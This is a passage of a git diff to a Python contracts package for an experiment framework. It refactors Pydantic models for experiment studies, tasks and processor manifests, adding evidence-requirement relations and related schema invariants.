EXPERIMENT_AUTHORING_INPUT_SCHEMA_VERSION, EXPERIMENT_STUDY_SCHEMA_VERSION -from .base import BehavioralClaimBindingModel, ContractModel, NonEmptyString, PositiveInteger +from ..versions import EXPERIMENT_AUTHORING_INPUT_SCHEMA_VERSION +from . import experiment_study_contract as _experiment_study_contract +from .base import ContractModel, NonEmptyString, PositiveInteger from .difficulty_adaptation import DifficultyPolicyRegistryModel from .experiment_apparatus import ExperimentClockContextModel, ExperimentStochasticControlModel from .experiment_artifacts import ExperimentArtifactRefModel from .experiment_bindings import ExperimentBindingDescriptorModel, ExperimentBindingDescriptorSetModel from .experiment_capture import ExperimentValidityNoteModel from .experiment_difficulty import ( - add_adaptive_study_invariant, add_difficulty_registry_invariant, - validate_adaptive_difficulty_treatment, validate_difficulty_policy_registry, ) from .experiment_disclosure import ExperimentApparatusConstraintModel +from .experiment_evidence_refinement import ( + ExperimentEvidenceRequirementRelationModel, + validate_evidence_requirement_relation_carrier, +) from .experiment_manifest_references import ExperimentCaptureSpecReferenceModel from .experiment_plan_controls import ( ExperimentEpisodeControlModel, @@ -38,218 +41,10 @@ _validate_selection_factor_joins, _validate_selection_policy_registry, ) -from .experiment_study import ( - ExperimentAnalysisPlanModel, - ExperimentRunAllocationPlanModel, - ExperimentStudyFactorModel, - ExperimentStudyMembershipModel, -) -from .schema_invariants import _add_carrier_validation_basis_disclosure_invariant, _add_raes_invariant -from .validation_disclosure import ValidationBasisDisclosureModel, validate_carrier_validation_basis_disclosures - -_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR = ( - "raes_contracts.contracts.validate_experiment_study_structure_against_tasks_and_runs" -) - - -class ExperimentStudyModel(ContractModel): - """Study or collection contract for grouping experiment artifacts.""" - - schema_version: Literal[EXPERIMENT_STUDY_SCHEMA_VERSION] - study_id: NonEmptyString - study_version: NonEmptyString - study_kind: Literal["study", "collection", "benchmark", "cohort"] - title: NonEmptyString - owner: NonEmptyString - description: NonEmptyString - purpose: NonEmptyString - research_questions: list[NonEmptyString] = Field(default_factory=list) - behavioral_claims: list[BehavioralClaimBindingModel] = Field(default_factory=list) - membership: dict[NonEmptyString, ExperimentStudyMembershipModel] = Field(min_length=1) - inclusion_criteria: list[NonEmptyString] = Field(min_length=1) - factors: dict[NonEmptyString, ExperimentStudyFactorModel] = Field(default_factory=dict) - run_allocation: ExperimentRunAllocationPlanModel | None = None - analysis_plan: ExperimentAnalysisPlanModel | None = None - validity_notes: list[ExperimentValidityNoteModel] = Field(default_factory=list) - report_artifacts: list[ExperimentArtifactRefModel] = Field(default_factory=list) - export_artifacts: list[ExperimentArtifactRefModel] = Field(default_factory=list) - validation_basis_disclosures: list[ValidationBasisDisclosureModel] = Field(default_factory=list) - - @model_validator(mode="after") - def _validate_claim_bearing_study(self) -> ExperimentStudyModel: - from ..behavioral_relations import validate_behavioral_claim_binding - - relation_ids = [claim.relation_id for claim in self.behavioral_claims] - if len(relation_ids) != len(set(relation_ids)): - raise ValueError("study behavioral claim relation ids must be unique") - for claim in self.behavioral_claims: - validate_behavioral_claim_binding(claim) - if self.run_allocation is not None: - self._validate_run_allocation_blocking_factors(self.run_allocation) - self._validate_run_allocation_condition_assignments(self.run_allocation) - validate_adaptive_difficulty_treatment(self, self.run_allocation) - if self.study_kind in {"study", "benchmark"}: - self._validate_claim_bearing_study_requirements() - validate_carrier_validation_basis_disclosures(self, subject_kind="experiment_study") - return self - - def _validate_run_allocation_blocking_factors(self, run_allocation: ExperimentRunAllocationPlanModel) -> None: - undeclared_blocking_factors = sorted( - factor_id for factor_id in run_allocation.blocking_factors if factor_id not in self.factors - ) - if undeclared_blocking_factors: - joined = ", ".join(undeclared_blocking_factors) - raise ValueError(f"run_allocation blocking_factors must reference declared factors: {joined}") - blocking_factors_without_levels = sorted( - factor_id for factor_id in run_allocation.blocking_factors if not self.factors[factor_id].levels - ) - if blocking_factors_without_levels: - joined = ", ".join(blocking_factors_without_levels) - raise ValueError(f"run_allocation blocking_factors must reference factors with declared levels: {joined}") - invalid_blocking_factor_kinds = sorted( - f"{factor_id}:{self.factors[factor_id].factor_kind}" - for factor_id in run_allocation.blocking_factors - if self.factors[factor_id].factor_kind not in {"blocking", "stratification", "apparatus", "control"} - ) - if invalid_blocking_factor_kinds: - joined = ", ".join(invalid_blocking_factor_kinds) - raise ValueError( - "run_allocation blocking_factors must reference blocking, stratification, apparatus, " - f"or control factors: {joined}" - ) +from .experiment_study import ExperimentRunAllocationPlanModel, ExperimentStudyFactorModel +from .schema_invariants import _add_raes_invariant - def _validate_run_allocation_condition_assignments(self, run_allocation: ExperimentRunAllocationPlanModel) -> None: - for assignment_key, assignment in run_allocation.condition_assignments.items(): - for factor_id, level in assignment.factor_levels.items(): - factor = self.factors.get(factor_id) - if factor is None: - raise ValueError( - "run_allocation condition_assignments factor_levels must reference declared factors: " - f"{assignment_key}:{factor_id}" - ) - if level not in factor.levels: - raise ValueError( - "run_allocation condition_assignments factor_levels must reference declared factor levels: " - f"{assignment_key}:{factor_id}:{level}" - ) - - def _validate_claim_bearing_study_requirements(self) -> None: - if not self.research_questions: - raise ValueError("study and benchmark records must include at least one research question") - if not self.behavioral_claims: - raise ValueError("study and benchmark records must include at least one behavioral claim binding") - if self.run_allocation is None: - raise ValueError("study and benchmark records must include run_allocation") - if self.analysis_plan is None: - raise ValueError("study and benchmark records must include analysis_plan") - if not self.validity_notes: - raise ValueError("study and benchmark records must include validity_notes") - - @classmethod - def __get_pydantic_json_schema__( - cls, - core_schema: CoreSchema, - handler: GetJsonSchemaHandler, - ) -> JsonSchemaValue: - json_schema = handler(core_schema) - json_schema = handler.resolve_ref_schema(json_schema) - json_schema.setdefault("allOf", []).append( - { - "if": { - "properties": {"study_kind": {"enum": ["study", "benchmark"]}}, - "required": ["study_kind"], - }, - "then": { - "required": [ - "research_questions", - "behavioral_claims", - "run_allocation", - "analysis_plan", - "validity_notes", - ], - "properties": { - "research_questions": {"minItems": 1}, - "behavioral_claims": {"minItems": 1}, - "run_allocation": {"type": "object"}, - "analysis_plan": {"type": "object"}, - "validity_notes": {"minItems": 1}, - }, - }, - } - ) - _add_raes_invariant( - json_schema, - "claim-bearing-study-analysis-plan-required", - "Study and benchmark records must include research questions, revisioned behavioral claim bindings, run " - "allocation, a substantive analysis plan, and validity notes.", - validator="raes_contracts.contracts.ExperimentStudyModel._validate_claim_bearing_study", - inputs=[{"contract_id": "experiment-study-v1", "instance_path": "#"}], - ) - _add_raes_invariant( - json_schema, - "study-analysis-metrics-grounded-in-task-protocols", - "Study analysis_plan metrics must be declared by included experiment task protocols.", - validator=_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR, - inputs=[ - {"contract_id": "experiment-study-v1", "instance_path": "#"}, - {"contract_id": "experiment-task-v1", "instance_path": "#"}, - {"contract_id": "experiment-run-v1", "instance_path": "#"}, - ], - ) - _add_raes_invariant( - json_schema, - "study-analysis-metrics-covered-by-evaluation-run-results", - "Study analysis_plan metrics must have result_summaries, including explicit missing/withheld " - "statuses, in included evaluation runs.", - validator=_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR, - inputs=[ - {"contract_id": "experiment-study-v1", "instance_path": "#"}, - {"contract_id": "experiment-task-v1", "instance_path": "#"}, - {"contract_id": "experiment-run-v1", "instance_path": "#"}, - ], - ) - _add_raes_invariant( - json_schema, - "study-analysis-runs-eligible", - "Study analysis_plan evaluation-run members must resolve unambiguously and exclude invalidated, " - "superseded, and not-evaluated runs.", - validator=_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR, - inputs=[ - {"contract_id": "experiment-study-v1", "instance_path": "#"}, - {"contract_id": "experiment-run-v1", "instance_path": "#"}, - ], - ) - _add_raes_invariant( - json_schema, - "study-run-allocation-covered-by-evaluation-run-members", - "Study run_allocation compared_conditions must be represented by eligible included evaluation-run " - "membership groupings that meet target_runs_per_condition, use operational blocking factors, and satisfy " - "exactly one distinct factor-level combination and auditable condition assignment.", - validator=_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR, - inputs=[ - {"contract_id": "experiment-study-v1", "instance_path": "#"}, - {"contract_id": "experiment-task-v1", "instance_path": "#"}, - {"contract_id": "experiment-run-v1", "instance_path": "#"}, - ], - ) - add_adaptive_study_invariant(json_schema) - _add_carrier_validation_basis_disclosure_invariant( - json_schema, contract_id="experiment-study-v1", subject_kind="experiment_study" - ) - _add_raes_invariant( - json_schema, - "study-run-allocation-stochastic-control-consistency", - "When run_allocation compares evaluation runs, every shared stochastic_controls control_id across " - "those runs must use a consistent executable_binding profile_ref and namespace, and either all or " - "none of the runs that share the control_id may carry an executable_binding (EXP-718 common " - "random numbers / controlled-variation comparability).", - validator=_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR, - inputs=[ - {"contract_id": "experiment-study-v1", "instance_path": "#/run_allocation"}, - {"contract_id": "experiment-run-v1", "instance_path": "#/stochastic_controls"}, - ], - ) - return json_schema +ExperimentStudyModel = _experiment_study_contract.ExperimentStudyModel class ExperimentRunPlanModel(ContractModel): @@ -273,6 +68,7 @@ class ExperimentRunPlanModel(ContractModel): red_variant_selections: dict[NonEmptyString, ExperimentRedVariantSelectionModel] = Field(default_factory=dict) clock_intent: ExperimentClockContextModel | None = None observation_demands: ObservationDemandDocument | None = None + evidence_requirement_relations: list[ExperimentEvidenceRequirementRelationModel] = Field(default_factory=list) @model_validator(mode="after") def _validate_run_plan(self) -> ExperimentRunPlanModel: @@ -389,6 +185,16 @@ def _validate_experiment_spec(self) -> ExperimentSpecModel: ) self._validate_binding_descriptors() self._validate_selection_factor_joins() + if self.run_plan.evidence_requirement_relations and self.intended_scenario_ref is None: + raise ValueError("run-plan evidence_requirement_relations require intended_scenario_ref") + validate_evidence_requirement_relation_carrier( + self.run_plan.evidence_requirement_relations, + scope="run", + authority_kind="authoring-input", + authority_id=self.spec_id, + authority_version=self.spec_version, + scenario_ref=self.intended_scenario_ref, + ) return self def _validate_selection_factor_joins(self) -> None: @@ -490,4 +296,12 @@ def __get_pydantic_json_schema__( validator="raes_contracts.contracts.ExperimentSpecModel._validate_selection_factor_joins", inputs=[{"contract_id": "experiment-authoring-input-v1", "instance_path": "#"}], ) + _add_raes_invariant( + json_schema, + "run-plan-evidence-requirement-relation-owner-valid", + "Prospective run-scoped evidence requirement relations must identify this exact authoring input and " + "its intended scenario snapshot.", + validator="raes_contracts.contracts.ExperimentSpecModel._validate_experiment_spec", + inputs=[{"contract_id": "experiment-authoring-input-v1", "instance_path": "#"}], + ) return json_schema diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_study_contract.py b/implementations/python/packages/raes_contracts/contracts/experiment_study_contract.py new file mode 100644 index 000000000..1b0dfd889 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/experiment_study_contract.py @@ -0,0 +1,253 @@ +"""Experiment study contract.""" + +from __future__ import annotations + +from typing import Literal + +from pydantic import Field, GetJsonSchemaHandler, model_validator +from pydantic.json_schema import JsonSchemaValue +from pydantic_core import CoreSchema + +from ..versions import EXPERIMENT_STUDY_SCHEMA_VERSION +from .base import BehavioralClaimBindingModel, ContractModel, NonEmptyString +from .experiment_artifacts import ExperimentArtifactRefModel +from .experiment_capture import ExperimentValidityNoteModel +from .experiment_difficulty import add_adaptive_study_invariant, validate_adaptive_difficulty_treatment +from .experiment_evidence_refinement import ( + ExperimentEvidenceRequirementRelationModel, + validate_evidence_requirement_relation_carrier, +) +from .experiment_study import ( + ExperimentAnalysisPlanModel, + ExperimentRunAllocationPlanModel, + ExperimentStudyFactorModel, + ExperimentStudyMembershipModel, +) +from .schema_invariants import _add_carrier_validation_basis_disclosure_invariant, _add_raes_invariant +from .validation_disclosure import ValidationBasisDisclosureModel, validate_carrier_validation_basis_disclosures + +_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR = ( + "raes_contracts.contracts.validate_experiment_study_structure_against_tasks_and_runs" +) + + +def _add_claim_bearing_study_schema(json_schema: JsonSchemaValue) -> None: + json_schema.setdefault("allOf", []).append( + { + "if": { + "properties": {"study_kind": {"enum": ["study", "benchmark"]}}, + "required": ["study_kind"], + }, + "then": { + "required": [ + "research_questions", + "behavioral_claims", + "run_allocation", + "analysis_plan", + "validity_notes", + ], + "properties": { + "research_questions": {"minItems": 1}, + "behavioral_claims": {"minItems": 1}, + "run_allocation": {"type": "object"}, + "analysis_plan": {"type": "object"}, + "validity_notes": {"minItems": 1}, + }, + }, + } + ) + + +class ExperimentStudyModel(ContractModel): + """Study or collection contract for grouping experiment artifacts.""" + + schema_version: Literal[EXPERIMENT_STUDY_SCHEMA_VERSION] + study_id: NonEmptyString + study_version: NonEmptyString + study_kind: Literal["study", "collection", "benchmark", "cohort"] + title: NonEmptyString + owner: NonEmptyString + description: NonEmptyString + purpose: NonEmptyString + research_questions: list[NonEmptyString] = Field(default_factory=list) + behavioral_claims: list[BehavioralClaimBindingModel] = Field(default_factory=list) + membership: dict[NonEmptyString, ExperimentStudyMembershipModel] = Field(min_length=1) + inclusion_criteria: list[NonEmptyString] = Field(min_length=1) + factors: dict[NonEmptyString, ExperimentStudyFactorModel] = Field(default_factory=dict) + run_allocation: ExperimentRunAllocationPlanModel | None = None + analysis_plan: ExperimentAnalysisPlanModel | None = None + validity_notes: list[ExperimentValidityNoteModel] = Field(default_factory=list) + report_artifacts: list[ExperimentArtifactRefModel] = Field(default_factory=list) + export_artifacts: list[ExperimentArtifactRefModel] = Field(default_factory=list) + validation_basis_disclosures: list[ValidationBasisDisclosureModel] = Field(default_factory=list) + evidence_requirement_relations: list[ExperimentEvidenceRequirementRelationModel] = Field(default_factory=list) + + @model_validator(mode="after") + def _validate_claim_bearing_study(self) -> ExperimentStudyModel: + from ..behavioral_relations import validate_behavioral_claim_binding + + relation_ids = [claim.relation_id for claim in self.behavioral_claims] + if len(relation_ids) != len(set(relation_ids)): + raise ValueError("study behavioral claim relation ids must be unique") + for claim in self.behavioral_claims: + validate_behavioral_claim_binding(claim) + if self.run_allocation is not None: + self._validate_run_allocation_blocking_factors(self.run_allocation) + self._validate_run_allocation_condition_assignments(self.run_allocation) + validate_adaptive_difficulty_treatment(self, self.run_allocation) + if self.study_kind in {"study", "benchmark"}: + self._validate_claim_bearing_study_requirements() + validate_carrier_validation_basis_disclosures(self, subject_kind="experiment_study") + validate_evidence_requirement_relation_carrier( + self.evidence_requirement_relations, + scope="study", + authority_kind="study", + authority_id=self.study_id, + authority_version=self.study_version, + ) + return self + + def _validate_run_allocation_blocking_factors(self, run_allocation: ExperimentRunAllocationPlanModel) -> None: + undeclared_blocking_factors = sorted( + factor_id for factor_id in run_allocation.blocking_factors if factor_id not in self.factors + ) + if undeclared_blocking_factors: + joined = ", ".join(undeclared_blocking_factors) + raise ValueError(f"run_allocation blocking_factors must reference declared factors: {joined}") + blocking_factors_without_levels = sorted( + factor_id for factor_id in run_allocation.blocking_factors if not self.factors[factor_id].levels + ) + if blocking_factors_without_levels: + joined = ", ".join(blocking_factors_without_levels) + raise ValueError(f"run_allocation blocking_factors must reference factors with declared levels: {joined}") + invalid_blocking_factor_kinds = sorted( + f"{factor_id}:{self.factors[factor_id].factor_kind}" + for factor_id in run_allocation.blocking_factors + if self.factors[factor_id].factor_kind not in {"blocking", "stratification", "apparatus", "control"} + ) + if invalid_blocking_factor_kinds: + joined = ", ".join(invalid_blocking_factor_kinds) + raise ValueError( + "run_allocation blocking_factors must reference blocking, stratification, apparatus, " + f"or control factors: {joined}" + ) + + def _validate_run_allocation_condition_assignments(self, run_allocation: ExperimentRunAllocationPlanModel) -> None: + for assignment_key, assignment in run_allocation.condition_assignments.items(): + for factor_id, level in assignment.factor_levels.items(): + factor = self.factors.get(factor_id) + if factor is None: + raise ValueError( + "run_allocation condition_assignments factor_levels must reference declared factors: " + f"{assignment_key}:{factor_id}" + ) + if level not in factor.levels: + raise ValueError( + "run_allocation condition_assignments factor_levels must reference declared factor levels: " + f"{assignment_key}:{factor_id}:{level}" + ) + + def _validate_claim_bearing_study_requirements(self) -> None: + if not self.research_questions: + raise ValueError("study and benchmark records must include at least one research question") + if not self.behavioral_claims: + raise ValueError("study and benchmark records must include at least one behavioral claim binding") + if self.run_allocation is None: + raise ValueError("study and benchmark records must include run_allocation") + if self.analysis_plan is None: + raise ValueError("study and benchmark records must include analysis_plan") + if not self.validity_notes: + raise ValueError("study and benchmark records must include validity_notes") + + @classmethod + def __get_pydantic_json_schema__( + cls, + core_schema: CoreSchema, + handler: GetJsonSchemaHandler, + ) -> JsonSchemaValue: + json_schema = handler(core_schema) + json_schema = handler.resolve_ref_schema(json_schema) + _add_claim_bearing_study_schema(json_schema) + _add_raes_invariant( + json_schema, + "claim-bearing-study-analysis-plan-required", + "Study and benchmark records must include research questions, revisioned behavioral claim bindings, run " + "allocation, a substantive analysis plan, and validity notes.", + validator="raes_contracts.contracts.ExperimentStudyModel._validate_claim_bearing_study", + inputs=[{"contract_id": "experiment-study-v1", "instance_path": "#"}], + ) + _add_raes_invariant( + json_schema, + "study-analysis-metrics-grounded-in-task-protocols", + "Study analysis_plan metrics must be declared by included experiment task protocols.", + validator=_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR, + inputs=[ + {"contract_id": "experiment-study-v1", "instance_path": "#"}, + {"contract_id": "experiment-task-v1", "instance_path": "#"}, + {"contract_id": "experiment-run-v1", "instance_path": "#"}, + ], + ) + _add_raes_invariant( + json_schema, + "study-analysis-metrics-covered-by-evaluation-run-results", + "Study analysis_plan metrics must have result_summaries, including explicit missing/withheld " + "statuses, in included evaluation runs.", + validator=_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR, + inputs=[ + {"contract_id": "experiment-study-v1", "instance_path": "#"}, + {"contract_id": "experiment-task-v1", "instance_path": "#"}, + {"contract_id": "experiment-run-v1", "instance_path": "#"}, + ], + ) + _add_raes_invariant( + json_schema, + "study-analysis-runs-eligible", + "Study analysis_plan evaluation-run members must resolve unambiguously and exclude invalidated, " + "superseded, and not-evaluated runs.", + validator=_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR, + inputs=[ + {"contract_id": "experiment-study-v1", "instance_path": "#"}, + {"contract_id": "experiment-run-v1", "instance_path": "#"}, + ], + ) + _add_raes_invariant( + json_schema, + "study-run-allocation-covered-by-evaluation-run-members", + "Study run_allocation compared_conditions must be represented by eligible included evaluation-run " + "membership groupings that meet target_runs_per_condition, use operational blocking factors, and satisfy " + "exactly one distinct factor-level combination and auditable condition assignment.", + validator=_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR, + inputs=[ + {"contract_id": "experiment-study-v1", "instance_path": "#"}, + {"contract_id": "experiment-task-v1", "instance_path": "#"}, + {"contract_id": "experiment-run-v1", "instance_path": "#"}, + ], + ) + add_adaptive_study_invariant(json_schema) + _add_carrier_validation_basis_disclosure_invariant( + json_schema, contract_id="experiment-study-v1", subject_kind="experiment_study" + ) + _add_raes_invariant( + json_schema, + "study-evidence-requirement-relation-owner-valid", + "Study-scoped evidence requirement relations must identify this exact study authority.", + validator="raes_contracts.contracts.ExperimentStudyModel._validate_claim_bearing_study", + inputs=[{"contract_id": "experiment-study-v1", "instance_path": "#"}], + ) + _add_raes_invariant( + json_schema, + "study-run-allocation-stochastic-control-consistency", + "When run_allocation compares evaluation runs, every shared stochastic_controls control_id across " + "those runs must use a consistent executable_binding profile_ref and namespace, and either all or " + "none of the runs that share the control_id may carry an executable_binding (EXP-718 common " + "random numbers / controlled-variation comparability).", + validator=_STUDY_AGAINST_TASKS_AND_RUNS_VALIDATOR, + inputs=[ + {"contract_id": "experiment-study-v1", "instance_path": "#/run_allocation"}, + {"contract_id": "experiment-run-v1", "instance_path": "#/stochastic_controls"}, + ], + ) + return json_schema + + +__all__ = ["ExperimentStudyModel"] diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_study_run_validation.py b/implementations/python/packages/raes_contracts/contracts/experiment_study_run_validation.py index b2758bbf9..0ad1c3e85 100644 --- a/implementations/python/packages/raes_contracts/contracts/experiment_study_run_validation.py +++ b/implementations/python/packages/raes_contracts/contracts/experiment_study_run_validation.py @@ -4,13 +4,12 @@ from collections.abc import Mapping +from ..evidence_proof import ValidatedRunEvidence from .experiment_apparatus import ExperimentTaskModel -from .experiment_manifest_references import ExperimentEvidenceReferenceModel -from .experiment_run import ( +from .experiment_run import ExperimentRunModel, validate_experiment_run_structure_against_task +from .experiment_run_evidence_validation import ( ExperimentRunEvidenceInputs, - ExperimentRunModel, validate_experiment_run_against_task, - validate_experiment_run_structure_against_task, ) @@ -20,18 +19,17 @@ def validate_study_run_task_membership( evidence_by_run: Mapping[str, ExperimentRunEvidenceInputs] | None, *, structural_only: bool, -) -> dict[tuple[str, str | None], tuple[ExperimentEvidenceReferenceModel, ...]]: - """Validate task membership and return only content-proven evidence refs.""" +) -> dict[tuple[str, str | None], ValidatedRunEvidence]: + """Validate task membership and preserve the content proof for each run.""" task_by_key = {(task.task_id, task.task_version): task for task in matched_tasks} - validated_evidence: dict[tuple[str, str | None], tuple[ExperimentEvidenceReferenceModel, ...]] = {} + validated_evidence: dict[tuple[str, str | None], ValidatedRunEvidence] = {} for run in matched_runs: task = task_by_key.get((run.task_ref.ref_id, run.task_ref.ref_version)) if task is None: raise ValueError("study run members must reference a supplied study task artifact") if structural_only: validate_experiment_run_structure_against_task(task, run) - validated_evidence[(run.run_id, run.run_version)] = () else: validated_evidence[(run.run_id, run.run_version)] = validate_experiment_run_against_task( task, diff --git a/implementations/python/packages/raes_contracts/contracts/experiment_task.py b/implementations/python/packages/raes_contracts/contracts/experiment_task.py new file mode 100644 index 000000000..aba0173f7 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/experiment_task.py @@ -0,0 +1,81 @@ +"""Experiment task contract.""" + +from __future__ import annotations + +from typing import Literal + +from pydantic import Field, GetJsonSchemaHandler, model_validator +from pydantic.json_schema import JsonSchemaValue +from pydantic_core import CoreSchema + +from ..observation_demand import ObservationDemandDocument +from ..versions import EXPERIMENT_TASK_SCHEMA_VERSION +from .base import ContractModel, NonEmptyString +from .experiment_artifacts import ExperimentArtifactRefModel +from .experiment_capture import ExperimentValidityNoteModel +from .experiment_disclosure import ( + ExperimentApparatusConstraintModel, + ExperimentEvaluationProtocolModel, + ExperimentSplitAndLeakageControlsModel, +) +from .experiment_evidence_refinement import ( + ExperimentEvidenceRequirementRelationModel, + validate_evidence_requirement_relation_carrier, +) +from .experiment_references import ExperimentScenarioReferenceModel +from .schema_invariants import _add_carrier_validation_basis_disclosure_invariant, _add_raes_invariant +from .validation_disclosure import ValidationBasisDisclosureModel, validate_carrier_validation_basis_disclosures + + +class ExperimentTaskModel(ContractModel): + """Experiment task contract that separates scenario material from protocol intent.""" + + schema_version: Literal[EXPERIMENT_TASK_SCHEMA_VERSION] + task_id: NonEmptyString + task_version: NonEmptyString + title: NonEmptyString + description: NonEmptyString + scenario_ref: ExperimentScenarioReferenceModel + evaluation_protocol: ExperimentEvaluationProtocolModel + intended_use: NonEmptyString + non_use: list[NonEmptyString] = Field(default_factory=list) + population_or_construct: NonEmptyString + split_and_leakage_controls: ExperimentSplitAndLeakageControlsModel + apparatus_constraints: ExperimentApparatusConstraintModel + validity_notes: list[ExperimentValidityNoteModel] = Field(min_length=1) + artifact_refs: list[ExperimentArtifactRefModel] = Field(min_length=1) + validation_basis_disclosures: list[ValidationBasisDisclosureModel] = Field(default_factory=list) + observation_demands: ObservationDemandDocument | None = None + evidence_requirement_relations: list[ExperimentEvidenceRequirementRelationModel] = Field(default_factory=list) + + @model_validator(mode="after") + def _validate_task_validation_basis_disclosures(self) -> ExperimentTaskModel: + validate_carrier_validation_basis_disclosures(self, subject_kind="experiment_task") + validate_evidence_requirement_relation_carrier( + self.evidence_requirement_relations, + scope="task", + authority_kind="task", + authority_id=self.task_id, + authority_version=self.task_version, + scenario_ref=self.scenario_ref, + ) + return self + + @classmethod + def __get_pydantic_json_schema__(cls, core_schema: CoreSchema, handler: GetJsonSchemaHandler) -> JsonSchemaValue: + json_schema = handler(core_schema) + json_schema = handler.resolve_ref_schema(json_schema) + _add_carrier_validation_basis_disclosure_invariant( + json_schema, contract_id="experiment-task-v1", subject_kind="experiment_task" + ) + _add_raes_invariant( + json_schema, + "task-evidence-requirement-relation-owner-valid", + "Task-scoped evidence requirement relations must identify this exact task and scenario snapshot.", + validator="raes_contracts.contracts.ExperimentTaskModel._validate_task_validation_basis_disclosures", + inputs=[{"contract_id": "experiment-task-v1", "instance_path": "#"}], + ) + return json_schema + + +__all__ = ["ExperimentTaskModel"] diff --git a/implementations/python/packages/raes_contracts/contracts/manifests.py b/implementations/python/packages/raes_contracts/contracts/manifests.py index 6a6b01489..e67f6d576 100644 --- a/implementations/python/packages/raes_contracts/contracts/manifests.py +++ b/implementations/python/packages/raes_contracts/contracts/manifests.py @@ -17,6 +17,7 @@ validate_processor_supported_contract_versions, validate_processor_supported_sdl_versions, ) +from ..operation_lifecycle import OperationKind from ..versions import PROCESSOR_MANIFEST_V2_SCHEMA_VERSION from ..vocabulary import ConceptFamilyId, ParticipantFeatureSupportLevel, ProcessorFeature from .base import _PROCESSOR_CONCEPT_BINDING_SCOPES, ContractModel, NonEmptyString @@ -89,15 +90,12 @@ class ParticipantRuntimeCapabilitiesModel(ContractModel): name: NonEmptyString supported_participant_roles: list[NonEmptyString] = Field( - min_length=1, json_schema_extra={"uniqueItems": True}, ) supported_behavior_features: list[NonEmptyString] = Field( - min_length=1, json_schema_extra={"uniqueItems": True}, ) supported_interaction_features: list[NonEmptyString] = Field( - min_length=1, json_schema_extra={"uniqueItems": True}, ) feature_support: list[ParticipantFeatureSupportModel] = Field(default_factory=list) @@ -145,7 +143,7 @@ class ParticipantRuntimeCapabilitiesModel(ContractModel): max_autonomous_action_attempts: int | None = Field(default=None, ge=1) max_autonomous_in_flight: int | None = Field(default=None, ge=1) max_autonomous_occurrences: int | None = Field(default=None, ge=1) - max_autonomous_retries_per_occurrence: int | None = Field(default=None, ge=1) + max_autonomous_retries_per_occurrence: int | None = Field(default=None, ge=0) max_autonomous_burst_size: int | None = Field(default=None, ge=1) execution_bindings: list[ParticipantExecutionBindingModel] = Field(default_factory=list) supports_execution_control: bool = False @@ -154,7 +152,7 @@ class ParticipantRuntimeCapabilitiesModel(ContractModel): ) supports_bounded_concurrency: bool = False max_execution_services: int | None = Field(default=None, ge=1) - max_concurrent_actions: int | None = Field(default=None, ge=2) + max_concurrent_actions: int | None = Field(default=None, ge=1) resource_budgets: ParticipantResourceBudgetCapabilitiesModel | None = None constraints: dict[str, str] = Field(default_factory=dict) @@ -257,9 +255,6 @@ def _has_complete_autonomous_configuration(self) -> bool: and self.supported_autonomous_policy_profiles and all(value is not None for value in self._autonomous_limits()) and self.execution_bindings - and self.supports_execution_control - and self.supports_bounded_concurrency - and self.max_execution_services is not None and self.max_concurrent_actions is not None ) @@ -288,10 +283,20 @@ def _has_any_autonomous_configuration(self) -> bool: def _validate_execution_control(self) -> None: if not self.supports_autonomous_execution: return - required_actions = {"start", "pause", "resume", "drain", "reset", "teardown"} - missing = required_actions - set(self.supported_execution_control_actions) - if missing: - raise ValueError("execution control is missing required actions: " + ", ".join(sorted(missing))) + self._validate_execution_control_configuration() + self._validate_execution_bindings() + + def _validate_execution_control_configuration(self) -> None: + if self.supports_execution_control != bool(self.supported_execution_control_actions): + raise ValueError("execution control support flag and supported actions must agree") + if self.supports_execution_control and self.max_execution_services is None: + raise ValueError("execution control requires positive max_execution_services") + if self.supports_bounded_concurrency and ( + self.max_concurrent_actions is None or self.max_concurrent_actions < 2 + ): + raise ValueError("bounded concurrency requires max_concurrent_actions of at least 2") + + def _validate_execution_bindings(self) -> None: binding_ids = [binding.binding_id for binding in self.execution_bindings] _validate_unique_string_values("execution_bindings", binding_ids) supported_actions = set(self.supported_autonomous_action_contracts) @@ -407,6 +412,24 @@ def _validate_cleanup_capability(self) -> CleanupCapabilitiesModel: return self +class RecoveryObservationCapabilitiesModel(ContractModel): + """Operational crash-recovery observation support declaration.""" + + name: NonEmptyString + supported_operation_kinds: list[OperationKind] = Field( + min_length=1, + json_schema_extra={"uniqueItems": True}, + ) + + @model_validator(mode="after") + def _validate_supported_kinds(self) -> RecoveryObservationCapabilitiesModel: + if len(self.supported_operation_kinds) != len(set(self.supported_operation_kinds)): + raise ValueError("recovery supported_operation_kinds must be unique") + if OperationKind.INDETERMINATE_RESOLUTION in self.supported_operation_kinds: + raise ValueError("administrative resolution is not a recoverable backend effect") + return self + + class BackendCapabilitiesV2Model(ContractModel): provisioner: ProvisionerCapabilitiesModel orchestrator: OrchestratorCapabilitiesModel | None = None @@ -415,6 +438,10 @@ class BackendCapabilitiesV2Model(ContractModel): observation: ObservationCapabilitiesModel | None = None cleanup: CleanupCapabilitiesModel | None = None time: TimeCapabilitiesModel | None = None + recovery_observation: RecoveryObservationCapabilitiesModel | None = Field( + default=None, + exclude_if=lambda value: value is None, + ) class ProcessorManifestV2Model(ContractModel): diff --git a/implementations/python/packages/raes_contracts/contracts/materialization_attestation.py b/implementations/python/packages/raes_contracts/contracts/materialization_attestation.py new file mode 100644 index 000000000..c53033934 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/materialization_attestation.py @@ -0,0 +1,115 @@ +"""Typed run-archive reference for post-materialization SDL descriptions.""" + +from __future__ import annotations + +from typing import TYPE_CHECKING, Any, Literal + +from pydantic import Field, model_validator + +from raes_contracts.materialization import MaterializationSource + +from .base import ContractModel, NonEmptyString, PrefixedDigestString +from .experiment_artifacts import ExperimentArtifactRefModel +from .experiment_references import ExperimentReferenceModel + +if TYPE_CHECKING: + from .experiment_run import ExperimentRunModel + + +class 